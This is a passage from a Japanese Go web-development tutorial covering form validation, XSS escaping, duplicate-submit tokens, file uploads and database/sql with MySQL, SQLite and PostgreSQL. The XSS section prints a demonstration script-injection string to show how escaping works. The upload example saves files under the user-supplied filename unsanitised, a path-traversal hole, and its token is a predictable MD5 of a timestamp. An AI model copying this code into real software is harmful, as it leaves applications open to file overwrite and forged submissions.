t := time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC)
fmt.Printf("Go launched at %s\n", t.Local())

timeを取得した後、多くの時間関数の操作を行うことができます。具体的な判断は自身の要件に合わせて調整してください。

身分証明書番号

フォームに入力された身分証を検証する場合、正規表現を使っても簡単に検証できます。しかし身分証明書番号は15桁と18桁があるので２つとも検証しなければなりません。（訳注：中国では身分証明書とともに個人を特定する国民背番号があります。）

//15桁の身分証明書の検証。15桁はすべて数字です。
if m, _ := regexp.MatchString(`^(\d{15})$`, r.Form.Get("usercard")); !m {
    return false
}

//18桁の身分証明書の検証。18桁の前17桁は数字で、最後の一桁はチェックデジットです。数字または文字Xを取り得ます。
if m, _ := regexp.MatchString(`^(\d{17})([0-9]|X)$`, r.Form.Get("usercard")); !m {
    return false
}

以上よく使用されるサーバ側でのフォーム要素の検証をいくつかご紹介しました。このイントロダクションを通してGoによるデータ検証、特に正規表現での処理に対する理解が深まるよう願っています。

Generated by md2min

4.3 クロスサイトスクリプティングの予防

現在のホームページは大量の動的なコンテンツを含み、ユーザのエクスペリエンスを高めています。以前に比べてとても複雑になっています。いわゆる動的なコンテンツとは、ユーザの環境と要求により、Webアプリケーションが目的の内容を出力できることを指します。動的なホームページは“クロスサイトスクリプティング”(Cross Site Scripting、セキュリティ専門家が一般的にXSSと省略するもの)と呼ばれる攻撃を受けることがあります。

攻撃者は通常セキュリティホールのあるプログラム中にJavaScript、VBScript、ActiveXまたはFlashを挿入することでユーザを騙します。一旦攻撃が成功するとユーザアカウント情報が盗まれ、ユーザの設定を改ざんされてしまったり、cookieを盗みまたは汚染して悪意ある広告を埋め込んだりされます。

XSSに対する最も効果的な予防は以下の二種類を組み合わせることです：すべての入力データを検証し、攻撃の検査をすること（これに関しては前の節でいくつかご紹介しました）。もうひとつは出力されるデータに対し適切な処理を行うことによって、すでに挿入されてしまったいかなるスクリプトに対してもブラウザで実行されないようにすることです。

Goではどのようにこの効果的な防御を行なっているのでしょうか？Goのhtml/templateの中では以下のいくつかの関数によってエスケープすることができます。

func HTMLEscape(w io.Writer, b []byte) //bに対してエスケープを行い、wに出力する。

func HTMLEscapeString(s string) string //sに対してエスケープを行い、結果の文字列を返す。

func HTMLEscaper(args …interface{}) string //複数の引数を同時にエスケープします。結果となる文字列を返します。

4.1節の例を見てみましょう。

fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //サーバ側に出力されます。
fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password")))
template.HTMLEscape(w, []byte(r.Form.Get("username"))) //クライアントに出力されます。

もし入力されたusernameが<script>alert()</script>だった場合、ブラウザ上では以下のように表示されます：

図4.3 Javascriptフィルターによる出力

Goのhtml/templateパッケージはデフォルトでhtmlタグをフィルターします。しかし時にはこの<script>alert()</script>を正常な情報として出力したい場合があるかもしれません。そのような場合はどのように処理するべきでしょうか？この場合はtext/templateをご利用ください。下の例をご覧ください：

import "text/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>")

出力

Hello, <script>alert('you have been pwned')</script>!

またはtemplate.HTML型を使用すると

import "html/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
err = t.ExecuteTemplate(out, "T", template.HTML("<script>alert('you have been pwned')</script>"))

出力

Hello, <script>alert('you have been pwned')</script>!

template.HTMLに変換した後も、変数の内容はエスケープされません。

エスケープの例：

import "html/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>")

エスケープ後の出力：

Hello, &lt;script&gt;alert(&#39;you have been pwned&#39;)&lt;/script&gt;!

Generated by md2min

4.4 フォームの複数回送信の防止

以前どこかのBBSやブログでご覧になったかもしれませんが、一つのスレや文章の後でいくつもの重複が記録されていることがあります。これらの大多数はユーザが複数回書き込みフォームを送信してしまったことによるものです。様々な原因で、ユーザはよくフォームを複数回送信してしまいます。通常はマウスの誤操作によるもので、送信ボタンをダブルクリックしてしまったり、一旦送信した内容を再度修正しようとして、ブラウザの戻るボタンを押した後に次へボタンではなくまた送信ボタンを押してしまうことによるものです。当然、故意によるものもあります。- - 例えばネット上のアンケート調査やくじ引きにおいて重複して投票するなどです。では、どのようにしてユーザが同じ内容のフォームの送信を行うことを効果的に防げるのでしょうか？

解決方法はフォームの中に唯一の値を持ったhiddenフィールドを追加することです。フォームを検証する際、この唯一の値を持ったフォームがすでに送信されているかどうか検証します。もしすでに送信されていれば、二回目の送信を拒絶します。そうでなければフォームに対して処理ロジックを行います。また、もしAjax形式で送信するフォームだった場合、フォームが送信された後、javascriptによってフォームの送信ボタンを禁止します。

4.2節の例を改良してみましょう：

<input type="checkbox" name="interest" value="football">サッカー
<input type="checkbox" name="interest" value="basketball">バスケットボール
<input type="checkbox" name="interest" value="tennis">テニス
ユーザ名:<input type="text" name="username">
パスワード:<input type="password" name="password">
<input type="hidden" name="token" value="{{.}}">
<input type="submit" value="ログイン">

テンプレートの中にtokenというhiddenフィールドを追加しました。この値にはMD5(タイムスタンプ)によってユニークな値を割り当てます。この値をサーバに保存することで（sessionによってコントロールは、６章でどのように保存するか解説します）フォームが送信される際の判定に使うことができます。

func login(w http.ResponseWriter, r *http.Request) {
    fmt.Println("method:", r.Method) //リクエストを受け取る方法
    if r.Method == "GET" {
        crutime := time.Now().Unix()
        h := md5.New()
        io.WriteString(h, strconv.FormatInt(crutime, 10))
        token := fmt.Sprintf("%x", h.Sum(nil))

        t, _ := template.ParseFiles("login.gtpl")
        t.Execute(w, token)
    } else {
        //リクエストはログインデータです。ログインのロジックを実行して判断します。
        r.ParseForm()
        token := r.Form.Get("token")
        if token != "" {
            //tokenの合法性を検証します。
        } else {
            //tokenが存在しなければエラーを出します。
        }
        fmt.Println("username length:", len(r.Form["username"][0]))
        fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //サーバ側に出力します。
        fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password")))
        template.HTMLEscape(w, []byte(r.Form.Get("username"))) //クライアントに出力します。
    }
}

出力されるページのソースは以下の通り：

図4.4 tokenを追加した後クライアントが出力するソース情報

tokenはすでに出力値を持っていますので、連続してページを更新することができます。この値が次々と変化するのがお分かりいただけるかと思います。このように毎回formが表示される時にユニークになるよう保証します。ユーザが送信するフォームは唯一性が保持されます。

この解決方法は悪意の無い攻撃に対しても防止することができます。また悪意のあるユーザに対してもしばらく効果があります。その後、この悪意のある動機を捨て去ることができなかった場合は更に複雑な作業が必要となります。

Generated by md2min

4.5 ファイルのアップロード処理

クライアントによるファイルのアップロード

ユーザによるファイルのアップロードを処理したいとします。例えば、現在Instagramのようなホームページを作成しているとします。ユーザが撮影した写真を保存する必要があります。このような要求はどのように実現するのでしょうか？

フォームにファイルをアップロードさせるためには、まずformのenctype属性を追加する必要があります。enctype属性には以下の３つの状態あります：

application/x-www-form-urlencoded   送信前にすべての文字列をエンコードする（デフォルト）
multipart/form-data   文字列に対してエンコードしません。ファイルのアップロードウィジェットを含むフォームを使用するときはこの値が必要です。
text/plain    空白を"+"記号に置き換えます。ただし、特殊文字に対してエンコードは行われません。

そのため、フォームのhtmlコードはこのようになります：

<html>
<head>
    <title>ファイルアップロード</title>
</head>
<body>
<form enctype="multipart/form-data" action="http://127.0.0.1:9090/upload" method="post">
  <input type="file" name="uploadfile" />
  <input type="hidden" name="token" value="{{.}}"/>
  <input type="submit" value="upload" />
</form>
</body>
</html>

サーバでは、handlerFuncをひとつ追加します：

http.HandleFunc("/upload", upload)

// /uploadを処理するロジック
func upload(w http.ResponseWriter, r *http.Request) {
    fmt.Println("method:", r.Method) //リクエストを受け取るメソッド
    if r.Method == "GET" {
        crutime := time.Now().Unix()
        h := md5.New()
        io.WriteString(h, strconv.FormatInt(crutime, 10))
        token := fmt.Sprintf("%x", h.Sum(nil))

        t, _ := template.ParseFiles("upload.gtpl")
        t.Execute(w, token)
    } else {
        r.ParseMultipartForm(32 << 20)
        file, handler, err := r.FormFile("uploadfile")
        if err != nil {
            fmt.Println(err)
            return
        }
        defer file.Close()
        fmt.Fprintf(w, "%v", handler.Header)
        f, err := os.OpenFile("./test/"+handler.Filename, os.O_WRONLY|os.O_CREATE, 0666)
        if err != nil {
            fmt.Println(err)
            return
        }
        defer f.Close()
        io.Copy(f, file)
    }
}

上のコードでは、ファイルのアップロードを処理するためにはr.ParseMultipartFormをコールする必要があります。引数にはmaxMemoryが表示されています。ParseMultipartFormをコールした後、アップロードするファイルはmaxMemoryのサイズのメモリに保存されます。もしファイルのサイズがmaxMemoryを超えた場合、残った部分はシステムのテンポラリファイルに保存されます。r.FormFileによって上のファイルハンドルを取得することができます。その後実例の中ではio.Copyを使ってファイルを保存しています。

その他のファイルではないフィールド情報を取得する時はr.ParseFormをコールする必要はありません。必要な時はGoが自動でコールします。またParseMultipartFromを一度コールすると、その後にもう一度コールしても効果はありません。

上の実例を通して、ファイルのアップロードには主に3ステップの処理があることが分かります：

フォームにenctype=“multipart/form-data”を追加する。

サーバでr.ParseMultipartFormをコールし、アップロードするファイルをメモリとテンポラリファイルに保存する。

r.FormFileを使用して、ファイルハンドルを取得し、ファイルに対して保存等の処理を行う。

ファイルhandlerはmultipart.FileHnadlerです。この中には以下のような構造体が保存されています。

type FileHeader struct {
    Filename string
    Header   textproto.MIMEHeader
    // contains filtered or unexported fields
}

上のコード例では以下のようにファイルのアップロードを出力します。

図4.5 ファイルのアップロードを行った後サーバが受け取った情報の出力

クライアントによるファイルのアップロード

上の例でどのようにフォームからファイルをアップロードするのか示しました。その後サーバでファイルを処理しますが、Goは実はクライアントのフォームによるファイルのアップロードをエミュレートする機能をサポートしています。詳しい仕様方法は以下の例をご覧ください：

package main

import (
    "bytes"
    "fmt"
    "io"
    "io/ioutil"
    "mime/multipart"
    "net/http"
    "os"
)

func postFile(filename string, targetUrl string) error {
    bodyBuf := &bytes.Buffer{}
    bodyWriter := multipart.NewWriter(bodyBuf)

    //キーとなる操作
    fileWriter, err := bodyWriter.CreateFormFile("uploadfile", filename)
    if err != nil {
        fmt.Println("error writing to buffer")
        return err
    }

    //ファイルハンドル操作をオープンする
    fh, err := os.Open(filename)
    if err != nil {
        fmt.Println("error opening file")
        return err
    }
    defer fh.Close()

    //iocopy
    _, err = io.Copy(fileWriter, fh)
    if err != nil {
        return err
    }

    contentType := bodyWriter.FormDataContentType()
    bodyWriter.Close()

    resp, err := http.Post(targetUrl, contentType, bodyBuf)
    if err != nil {
        return err
    }
    defer resp.Body.Close()
    resp_body, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        return err
    }
    fmt.Println(resp.Status)
    fmt.Println(string(resp_body))
    return nil
}

// sample usage
func main() {
    target_url := "http://localhost:9090/upload"
    filename := "./astaxie.pdf"
    postFile(filename, target_url)
}

上の例ではクライアントが如何にサーバに対し一つのファイルをアップロードするのかご説明しました。クライアントはmultipart.Writeを通してファイルの本文をバッファの中に書き込みます。その後、httpのPostメソッドをコールしてバッファからサーバに転送します。

もしあなたが他にusernameといった普通のフィールドを同時に書き込む場合は、multipartのWriteFieldメソッドをコールして、その他の似たようなフィールドを複数書き込むことができます。

Generated by md2min

4.6 まとめ

この一章ではGoでどのようにフォームの情報を処理するか学びました。ユーザのログインから、ファイルのアップロードの例で、Goがformの情報およびファイルをアップロードする手段についてご説明しました。しかし、フォームを処理する過程ではユーザの入力した情報を懸賞する必要があります。ホームページのセキュリティの重要性を考慮すると、データのフィルタリングは相当重要です。そのため、以降の章では異なる方面のデータフィルタリングをご説明します。同時にGoの文字列に対する正規表現についても述べます。

この一章を通してクライアントとサーバが如何にデータを互いにやりとりするか理解いただけたと思います。クライアントはデータをサーバシステムに渡し、サーバはデータを受け取って結果をクライアントにフィードバックします。

Generated by md2min

5 データベースへのアクセス

目次

多くのWebアプリケーションプログラムにおいて、データベースはその核心となるものです。データベースはあなたが検索やさまざまな情報を修正したい場合にはほとんどで使用されます。例えばユーザ情報や製品の目録またはニュースのリスト等です。

Goはどのようなデータベースの使用もbuiltinではサポートされていません。しかし、Goはdatabase/sqlインターフェースを定義していますので、ユーザはこのドライバインターフェースに基いて目的のデータベースを使用することができます。5.1節でGoでデザインされているいくつかのドライバインターフェースやデータベースドライバインターフェースをご紹介します。5.2から5.4節では現在比較的使用されている関係型データドリブンとその使用方法についてご紹介します。5.5節では私が開発したORMライブラリをご紹介します。database/sqlの標準インターフェースに基づいた開発です。ほぼ全てのdatabase/sqlをサポートするデータベースの使用に互換性があります。Goスタイルで簡単にデータベース操作を行うことができます。

現在NOSQLはすでにWeb開発の流行となっています。多くのアプリケーションがNOSQLをデータベースとして採用しています。以前のキャッシュではありません。5.6節ではMongoDBとRedisの2つのNOSQLデータベースについてご紹介します。

Go database/sql tutorialではよく使われる例と詳細な説明を提供しています。

目次

Generated by md2min

5.1 database/sqlインターフェース

sql.Register

driver.Driver

driver.Conn

driver.Stmt

driver.Tx

driver.Execer

driver.Result

driver.Rows

driver.RowsAffected

driver.Value

driver.ValueConverter

driver.Valuer

database/sql

GoがPHPと異なる部分は、Goには公式に提供されたデータベースドライバがない事です。開発者が開発するためにデータベースドライバで標準のインターフェースが定義されています。開発者は定義されているインターフェースに従って目的のデータベースドライバを開発することができます。これにはメリットがあります。標準のインターフェースを参照するだけでコードを開発できます。以降データベースに移行する時、どのような修正も必要ありません。では、Goはどのような標準インターフェースを定義しているのでしょうか？詳しく分析してみることにしましょう。

sql.Register

database/sqlに存在する関数はデータベースドライバを登録するためにあります。サードパーティの開発者がデータベースドライバを開発する時は、すべてinit関数を実装します。init関数ではこのRegister(name string, driver driver.Driver)をコールすることでこのドライバの登録を完了させます。

mymysql、sqlite3のドライバではどのようにコールしているのか見てみることにしましょう：

//https://github.com/mattn/go-sqlite3ドライバ
func init() {
    sql.Register("sqlite3", &SQLiteDriver{})
}

//https://github.com/mikespook/mymysqlドライバ
// Driver automatically registered in database/sql
var d = Driver{proto: "tcp", raddr: "127.0.0.1:3306"}
func init() {
    Register("SET NAMES utf8")
    sql.Register("mymysql", &d)
}

サードパーティのデータベースドライバはすべてこの関数をコールすることで自分のデータベースドライバの名前と目的のdriverを登録することがお分かりいただけたかと思います。database/sqlの内部ではひとつのmapを通してユーザが定義した目的のドライバを保存します。

var drivers = make(map[string]driver.Driver)

drivers[name] = driver

なぜならdatabase/sqlによって関数を登録できると同時に複数のデータベースドライバを登録することができるからです。重複させなければよいだけです。

database/sqlインターフェースとサードパーティライブラリを使用する時、よく以下のようになります：

  import (
      "database/sql"
      _ "github.com/mattn/go-sqlite3"
  )

新人はこの_にとても戸惑いがちです。実はこれはGoの絶妙な設計なのです。変数に値を代入する際、よくこの記号が現れます。これは変数を代入する時のプレースホルダの省略です。パッケージのインポートにこの記号を使っても同じような作用があります。ここで使用した_はインポートした後のパッケージ名で、このパッケージに定義されている関数、変数などのリソースを直接使用しない事を意味しています。

2.3節で述べたフローと関数の中でinit関数の初期化プロセスをご紹介しました。パッケージがインポートされる際はパッケージのinit関数が自動的にコールされ、このパッケージに対する初期化が完了します。そのため、上のデータベースドライバパッケージをインポートするとinit関数が自動的にコールされます。つぎに、init関数でこのデータベースドライバを登録し、以降のコードの中で直接このデータベースドライバを直接使用することができます。

driver.Driver

Driverはデータベースドライバのインターフェースです。methodがひとつ定義されています： Open(name string)、このメソッドはデータベースのConnインターフェースを一つ返します。

type Driver interface {
    Open(name string) (Conn, error)
}

返されるConnは一回のgoroutineの操作を行う事ができるだけです。このConnをGoの複数のgoroutineの中に使うことはできません。以下のコードはエラーが発生します。

...
go goroutineA (Conn)  //検索操作の実行
go goroutineB (Conn)  //挿入操作の実行
...

上のようなコードではGoにとってどのような操作がどのgoroutineによって行われたのか知り得ませんのでデータの混乱を招きます。たとえばgoroutineAで実行された検索操作の結果をgoroutineBに返す場合Bはこの結果を自分が実行した挿入データだと誤解してしまいます。

サードパーティドライバはすでてこの関数を定義しています。これはname引数を解析することによって目的のデータベースの接続情報を得ることができます。解析が終わると、この情報を使って、ひとつのConnを初期化し、それを返します。

driver.Conn

Connはデータベース接続のインターフェース定義です。これにはいくつかのメソッドが定義されています。このConnはひとつのgoroutineの中でしか使用することができず、複数のgoroutineの中では使用することができません。詳細は上の説明をご確認ください。

type Conn interface {
    Prepare(query string) (Stmt, error)
    Close() error
    Begin() (Tx, error)
}

Prepare関数は現在の接続と関連した実行されるSQL文の準備状態を返します。検索、削除等の操作を行うことができます。

Close関数は現在の接続を閉じます。接続が持っているリソースを開放するなど整理作業を行います。ドライバはdatabase/sqlの中のconn poolを実現しているので、問題を起こしやすいのです。

Begin関数はトランザクション処理を表すTxを返します。これを利用して検索、更新といった操作を行うことができます。またはトランザクションに対してロールバックやコミットを行います。

driver.Stmt

Stmtは準備が整った状態です。Connの関連性と、またひとつのgoroutineの中でしか使用することができません。複数のgoroutineに使用することはできません。

type Stmt interface {
    Close() error
    NumInput() int
    Exec(args []Value) (Result, error)
    Query(args []Value) (Rows, error)
}

Close関数は現在の接続状態を閉じます。ただし、もし現在実行されているqueryはrowsデータを返します。

NumInput関数は現在予約されている引数の個数を返します。>=0が返された時はデータベースドライバがインテリジェントに使用側の引数を検査します。データベースドライバパッケージが予約された引数を知らない場合は-1を返します。

Exec関数はPrepareで準備の整ったsqlを実行します。引数を渡し、update/insertといった操作を実行します。Resultデータを返します。

Query関数はPrepareで準備の整ったsqlを実行します。必要な引数を渡し、select操作を実行します。Rowsリザルトセットを返します。

driver.Tx

トランザクション処理には一般的に2つのプロセスがあります。コミットかロールバックです。データベースドライバの中ではこの2つの関数を実装すれば問題ありません。

type Tx interface {
    Commit() error
    Rollback() error
}

この2つの関数のうちひとつはコミットに使用され、もうひとつはロールバックに使用されます。

driver.Execer

これはConnが実装できるインターフェースです。

type Execer interface {
    Exec(query string, args []Value) (Result, error)
}

もしこのインターフェースの定義がなければ、DB.Execがコールされます。つまり、まずPrepareがコールされStmtを返し、その後StmtのExecが実行され、Stmtが閉じられます。

driver.Result

これはUpdate/Insertといった操作が行った結果を返すインターフェースの定義です。

type Result interface {
    LastInsertId() (int64, error)
    RowsAffected() (int64, error)
}

LastInsertId関数はデータベースによって実行された挿入操作によって得られるインクリメントIDを返します。

RowsAffected関数はquery操作で影響されるデータの数を返します。

driver.Rows

Rowsは実行された検索のリザルトセットのインターフェースの定義です

type Rows interface {
    Columns() []string
    Close() error
    Next(dest []Value) error
}

Columns関数はデータベースの検索におけるフィールド情報を返します。これが返すsliceとsql検索のフィールドは一つ一つが対応しており、すべての表のフィールドを返すわけではありません。

Close関数はRowsイテレータを閉じるために用いられます。

Next関数はひとつのデータを返すのに用いられます。データはdestに代入され、destの中の要素はstringを除いてdriver.Valueの値でなければなりません。返されるデータの中のすべてのstringは[]byteに変換される必要があります。もし最後にデータが無い場合、Next関数はio.EOFを返します。

driver.RowsAffected

RowsAffectedは実はint64のエイリアスです。しかしResultインターフェースを実装していますので、低レイヤーでResultの表示メソッドを実装するために用いられます。

type RowsAffected int64

func (RowsAffected) LastInsertId() (int64, error)

func (v RowsAffected) RowsAffected() (int64, error)

driver.Value

Valueは実は空のインターフェースです。どのようなデータも格納することができます。

type Value interface{}

driveのValueはドライバが必ず操作できるValueです。Valueがnilでなければ、下のいずれかとなります

int64
float64
bool
[]byte
string   [*]Rows.Nextが返すものを除いてstringではありません。
time.Time

driver.ValueConverter

ValueConverterインターフェースはどのように普通の値をdriver.Valueのインターフェースの変換するか定義されています。

type ValueConverter interface {
    ConvertValue(v interface{}) (Value, error)
}

開発しているデータベースドライバパッケージではこのインターフェースの関数が多くの場所で利用されています。このValueConverterにはメリットがたくさんあります：

driver.valueはデータベース表の対応するフィールドに特化されています。たとえばint64のデータがどのようにデータベース表のunit16フィールドに変換されるかといったことです。

データベースの検索結果をdriver.Value値に変換します。

scan関数ではどのようにしてdriver.Valueの値をユーザが定義した値に変換するか

driver.Valuer

Valueインターフェースではdriver.Valueをひとつ返すメソッドが定義されています。

type Valuer interface {
    Value() (Value, error)
}

たくさんの型がこのValueメソッドを実装しています。自分自身とdriver.Valueに特化して利用されます。

上の説明によって、ドライバの開発について基本的なことがお分かりいただけたかとおもいます。このドライバはただこれらインターフェースを実装して追加・削除・検索・修正といった基本操作を可能にするだけです。あとは対応するデータベースに対してデータをやりとりするなど細かい問題が残っています。ここでは細かく述べることはしません。

database/sql

database/sqlではdatabase/sql/driverにて提供されるインターフェースの基礎の上にいくつかもっと高い階層のメソッドを定義しています。データベース操作を容易にし、内部でconn poolを実装しています。

type DB struct {
    driver   driver.Driver
    dsn      string
    mu       sync.Mutex // protects freeConn and closed
    freeConn []driver.Conn
    closed   bool
}

Open関数がDBオブジェクトを返しています。この中にはfreeConnがあり、これがまさに簡単な接続プールのことです。この実装はとても簡単でまた簡素です。Db.prepareを実行する際defer db.putConn(ci, err)を行います。つまりこの接続を接続プールに放り込むのです。毎回connをコールする際はまずfreeConnの長さが0よりも大きいか確認し、0よりも大きかった場合connを再利用してもよいことを示しています。直接使ってかまいません。もし0以下であった場合はconnを作成してこれを返します。

Generated by md2min

5.2 MySQL データベースの使用

MySQLドライバ

コード例

現在Internet上で流行しているホームページフレームワークの方法はLAMPです。この中のMがMySQLです。データベースとして、MySQLは無料、オープンソース、使用方法において多くのWeb開発のバックエンドのデータベースストレージエンジンとして優位に立ってきました。

MySQLドライバ

GoではMySQLをサポートしたドライバが現在比較的多く、以下のようにいくつかが存在します。あるものはdatabase/sql標準をサポートしており、またあるものは独自でインターフェースの実装を採用しているものもあります。よく使われるものは以下のいくつかです：

https://github.com/go-sql-driver/mysql database/sqlをサポートしており、すべてgoで書かれています。

https://github.com/ziutek/mymysql database/sqlをサポートしており、独自に定義されたインターフェースもサポートしています。すべてgoで書かれています。

https://github.com/Philio/GoMySQL database/sqlをサポートしていません。独自のインターフェースで、すべてgoで書かれています。

以降の例では私ははじめのドライバを使ってまいります。（現在の項目でもこのドライバを使います）、またこのドライバの利用をみなさんにお勧めします。理由は：

このドライバは比較的新しく、メンテナンスも良いほうです。

完全にdatabase/sqlインターフェースをサポートします。

keepaliveをサポートしています。継続した接続を保持しています。星星がforkしたmymysqlもkeepaliveをサポートしているとはいえ、スレッドセーフではありません。これは低いレイヤーからkeepaliveをサポートしています。

コード例

続くいくつかの節では同じデータベーススキーマを採用します：データベースtest、ユーザ名userinfo、関連ユーザ情報テーブルuserdetail。

CREATE TABLE `userinfo` (
    `uid` INT(10) NOT NULL AUTO_INCREMENT,
    `username` VARCHAR(64) NULL DEFAULT NULL,
    `departname` VARCHAR(64) NULL DEFAULT NULL,
    `created` DATE NULL DEFAULT NULL,
    PRIMARY KEY (`uid`)
)

CREATE TABLE `userdetail` (
    `uid` INT(10) NOT NULL DEFAULT '0',
    `intro` TEXT NULL,
    `profile` TEXT NULL,
    PRIMARY KEY (`uid`)
)

以下の例ではどのようにしてdatabase/sqlインターフェースを使ってデータベースのテーブルに対し、追加・削除・修正・検索操作を行うか示しています。

package main

import (
    _ "github.com/go-sql-driver/mysql"
    "database/sql"
    "fmt"
    //"time"
)

func main() {
    db, err := sql.Open("mysql", "astaxie:astaxie@/test?charset=utf8")
    checkErr(err)

    //データの挿入
    stmt, err := db.Prepare("INSERT userinfo SET username=?,departname=?,created=?")
    checkErr(err)

    res, err := stmt.Exec("astaxie", "研究開発部門", "2012-12-09")
    checkErr(err)

    id, err := res.LastInsertId()
    checkErr(err)

    fmt.Println(id)
    //データの更新
    stmt, err = db.Prepare("update userinfo set username=? where uid=?")
    checkErr(err)

    res, err = stmt.Exec("astaxieupdate", id)
    checkErr(err)

    affect, err := res.RowsAffected()
    checkErr(err)

    fmt.Println(affect)

    //データの検索
    rows, err := db.Query("SELECT * FROM userinfo")
    checkErr(err)

    for rows.Next() {
        var uid int
        var username string
        var department string
        var created string
        err = rows.Scan(&uid, &username, &department, &created)
        checkErr(err)
        fmt.Println(uid)
        fmt.Println(username)
        fmt.Println(department)
        fmt.Println(created)
    }

    //データの削除
    stmt, err = db.Prepare("delete from userinfo where uid=?")
    checkErr(err)

    res, err = stmt.Exec(id)
    checkErr(err)

    affect, err = res.RowsAffected()
    checkErr(err)

    fmt.Println(affect)

    db.Close()

}

func checkErr(err error) {
    if err != nil {
        panic(err)
    }
}

上のコードで、GoがMysqlデータベースを操作するのが非常に簡単だとお分かりいただけたかと思います。

キーとなるいくつかの関数についてご説明します：

sql.Open()関数は登録済みのデータベースドライバを開くために使用されます。go-sql-driverの中でmysqlのデータベースドライバを登録し、２つ目の引数はDSN(Data Source Name)です。これはgo-sql-driverが定義するデータベース接続と設定情報です。以下のシンタックスをサポートします：

user@unix(/path/to/socket)/dbname?charset=utf8
user:password@tcp(localhost:5555)/dbname?charset=utf8
user:password@/dbname
user:password@tcp([de:ad:be:ef::ca:fe]:80)/dbname

db.Prepare()関数はsql操作を実行するプリペアードステートメントを返すために用いられます。その後、準備完了の実行状態を返します。

db.Query()関数は直接Sqlを実行しRows結果を返すために使われます。

stmt.Exec()関数はstmtが用意されたSQL文を実行するために用いられます。

渡される引数がどれも=?に対応するデータであることがわかるかとおもいます。このような方法である程度SQLインジェクションを防止することができます。

Generated by md2min

5.3 SQLiteデータベースの使用

ドライバ

実例コード

SQLiteはオープンソースの組み込み式リレーショナルデータベースです。独立しており、設定なしでトランザクションのSQLデータベースエンジンをサポートします。非常にポータブルで簡単に利用でき、コンパクトで効率が高く、信頼性があります。他のデータベース管理システムとは異なり、SQLiteのインストールと実行は非常に簡単です。多くの場合は、ただSQLiteのバイナリファイルを用意するだけですぐに作成、接続、使用することができます。もしあなたが現在組み込み式データベースかソリューションをお探しであれば、SQLiteは絶対に考慮するに値します。SQLiteはいわばオープンソースのAccessのようなものです。

ドライバ

Goがサポートするsqliteのドライバも比較的多いのですが、大部分はdatabase/sqlインターフェースをサポートしていません。

https://github.com/mattn/go-sqlite3 database/sqlインターフェースをサポートしています。cgo(cgoに関する情報はオフィシャルドキュメントかこの本の最後の章をご参考ください)に基づいて記述されています。

https://github.com/feyeleanor/gosqlite3 database/sqlインターフェースをサポートしていません。cgoに基いて記述されています。

https://github.com/phf/go-sqlite3 database/sqlインターフェースをサポートしていません。cgoに基いて記述されています。

現在database/sqlをサポートしているSQLいてデータベースドライバは一つ目だけです。私も現在これを採用してプロジェクトで開発しています。標準インターフェースを採用することは今後より良いドライバが開発された時に移行できることです。

実例コード

例に示すデータベーススキーマは以下の通りです。対応するテーブル作成SQL：

CREATE TABLE `userinfo` (
    `uid` INTEGER PRIMARY KEY AUTOINCREMENT,
    `username` VARCHAR(64) NULL,
    `departname` VARCHAR(64) NULL,
    `created` DATE NULL
);

CREATE TABLE `userdeatail` (
    `uid` INT(10) NULL,
    `intro` TEXT NULL,
    `profile` TEXT NULL,
    PRIMARY KEY (`uid`)
);

下のGoプログラムがどのようにデータベースのテーブルのデータを操作するか見てみましょう：追加・削除・修正・検索

package main

import (
    "database/sql"
    "fmt"
    _ "github.com/mattn/go-sqlite3"
)

func main() {
    db, err := sql.Open("sqlite3", "./foo.db")
    checkErr(err)

    //データの挿入
    stmt, err := db.Prepare("INSERT INTO userinfo(username, departname, created) values(?,?,?)")
    checkErr(err)

    res, err := stmt.Exec("astaxie", "研究開発部門", "2012-12-09")
    checkErr(err)

    id, err := res.LastInsertId()
    checkErr(err)

    fmt.Println(id)
    //データの更新
    stmt, err = db.Prepare("update userinfo set username=? where uid=?")
    checkErr(err)

    res, err = stmt.Exec("astaxieupdate", id)
    checkErr(err)

    affect, err := res.RowsAffected()
    checkErr(err)

    fmt.Println(affect)

    //データの検索
    rows, err := db.Query("SELECT * FROM userinfo")
    checkErr(err)

    for rows.Next() {
        var uid int
        var username string
        var department string
        var created string
        err = rows.Scan(&uid, &username, &department, &created)
        checkErr(err)
        fmt.Println(uid)
        fmt.Println(username)
        fmt.Println(department)
        fmt.Println(created)
    }

    //データの削除
    stmt, err = db.Prepare("delete from userinfo where uid=?")
    checkErr(err)

    res, err = stmt.Exec(id)
    checkErr(err)

    affect, err = res.RowsAffected()
    checkErr(err)

    fmt.Println(affect)

    db.Close()

}

func checkErr(err error) {
    if err != nil {
        panic(err)
    }
}

上のコードとMySQLの例の中のコードはほとんどまったく同じです。唯一異なるのはドライバのインポート部分です。sql.OpenのコールではSQLiteの方法で開きます。

sqlite管理ツール：http://sqliteadmin.orbmu2k.de/

簡単にデータベース管理を新規作成することができます。

Generated by md2min

5.4 PostgreSQLデータベースの使用

ドライバ

実例コード

PostgreSQLはフリーなオブジェクト-リレーショナルデータベースサーバ（データベース管理システム）です。これは活発なBSDライクなライセンスで公開されています。他のオープンソースなデータベースシステム(MySQLやFirebird)やOracle、Sybase、IBMのDB2やMicrosoft SQL Serverといったプロプライエタリなシステムに対する選択肢の一つです。

PostgreSQLとMSQLを比較すると、これは少々巨大です。これはOracleの代替として設計されているためです。そのため、企業のアプリケーションではPostgreSQLを選択することが賢い選択の一つとなっています。

MySQLはOracleに買収され、現在徐々にクローズされつつあります。(MySQL 5.5.31以降のすべてのバージョンがGPLライセンスを順守していません)。これに鑑み、将来我々もプロジェクトのバックエンドのデータベースとしてMySQLではなくPostgreSQLを選択することになるかもしれません。

ドライバ

GoはPostgreSQLをサポートしたドライバも非常に多く実装されています。国外では多くの人が開発でこのデータベースを使用しているためです。

https://github.com/lib/pq database/sqlドライバをサポートしています。純粋にGoで書かれています。

https://github.com/jbarham/gopgsqldriver database/sqlドライバをサポートしています。純粋にGoで書かれています。

https://github.com/lxn/go-pgsql database/sqlドライバをサポートしています。純粋にGoで書かれています。

